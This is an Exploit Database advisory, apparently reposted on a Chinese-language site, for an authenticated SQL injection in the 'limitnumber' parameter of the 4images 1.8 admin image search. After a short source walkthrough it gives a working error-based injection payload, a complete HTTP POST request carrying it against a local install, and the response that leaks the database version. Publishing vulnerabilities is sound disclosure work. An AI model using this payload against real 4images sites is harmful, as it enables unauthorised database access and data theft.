4images 1.8 – ‘limitnumber’ SQL Injection (Authenticated)

• Exploit Database
• 38 阅读

• 作者： Andrey Stoykov
  日期： 2021-08-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50193/

• # Exploit Title: 4images 1.8 - 'limitnumber' SQL Injection (Authenticated)
  # Exploit Author: Andrey Stoykov
  # Software Link: https://www.4homepages.de/download-4images
  # Version: 1.8
  # Tested on: Linux
  
  
  
  Source Analysis:
  
  
  Line #658
  
  - User action defined
  
  if ($action == "findimages") {
  
  
  Line #661
  
  - Vulnerable condition
  
  $condition = "1=1";
  
  
  Line #654
  
  - Default limit 50
  
  show_input_row($lang['results_per_page'], "limitnumber", 50);
  
  
  
  Line #736
  
  - Define limit start
  
  $limitstart = (isset($HTTP_POST_VARS['limitstart'])) ? trim($HTTP_POST_VARS['limitstart']) : "";
  if ($limitstart == "") {
  $limitstart = 0;
  
  
  Line #743
  
  - Define limit number
  
  $limitnumber = trim($HTTP_POST_VARS['limitnumber']);
  if ($limitnumber == "") {
  $limitnumber = 5000;
  }
  
  
  Line #763
  
  - Define user input variables
  
  $limitfinish = $limitstart + $limitnumber;
  
  
  
  Line #786
  
  - SQL statement
  
  $sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_media_file, i.image_date".get_user_table_field(", u.", "user_name")."
  FROM ".IMAGES_TABLE." i
  LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.", "user_id")." = i.user_id)
  WHERE $condition
  ORDER BY $orderby $direction
  
  			// Vulnerable user input of limitnumber
  LIMIT $limitstart, $limitnumber";
  
  
  Line #852
  
  - Display user input defined previously
  
  show_hidden_input("limitnumber", $limitnumber);
  
  
  
  Exploit POC:
  
  
  1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1,1)--+-
  
  
  HTTP Request:
  
  POST /4images/admin/images.php HTTP/1.1
  Host: 127.0.0.1
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 406
  Origin: http://127.0.0.1
  DNT: 1
  Connection: close
  Referer: http://127.0.0.1/4images/admin/images.php?action=modifyimages
  Cookie: 4images_lastvisit=1628349389; 4images_userid=1; sessionid=7ndqdr2u04gqs9gdme12vhco87
  Upgrade-Insecure-Requests: 1
  Sec-Fetch-Dest: frame
  Sec-Fetch-Mode: navigate
  Sec-Fetch-Site: same-origin
  Sec-Fetch-User: ?1
  
  __csrf=7aa2dd8597dfe4302237bbfeb200fbd8&action=findimages&image_id=&image_name=&image_description=&image_keywords=&cat_id=0&image_media_file=&image_thumb_file=&dateafter=&datebefore=&downloadsupper=&downloadslower=&ratingupper=&ratinglower=&votesupper=&voteslower=&hitsupper=&hitslower=&orderby=i.image_name&direction=ASC&limitnumber=1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1,1)--+-
  
  
  
  HTTP Response:
  
  HTTP/1.1 200 OK
  ...
  <b>XPATH syntax error: ':10.1.37-MariaDB'</b>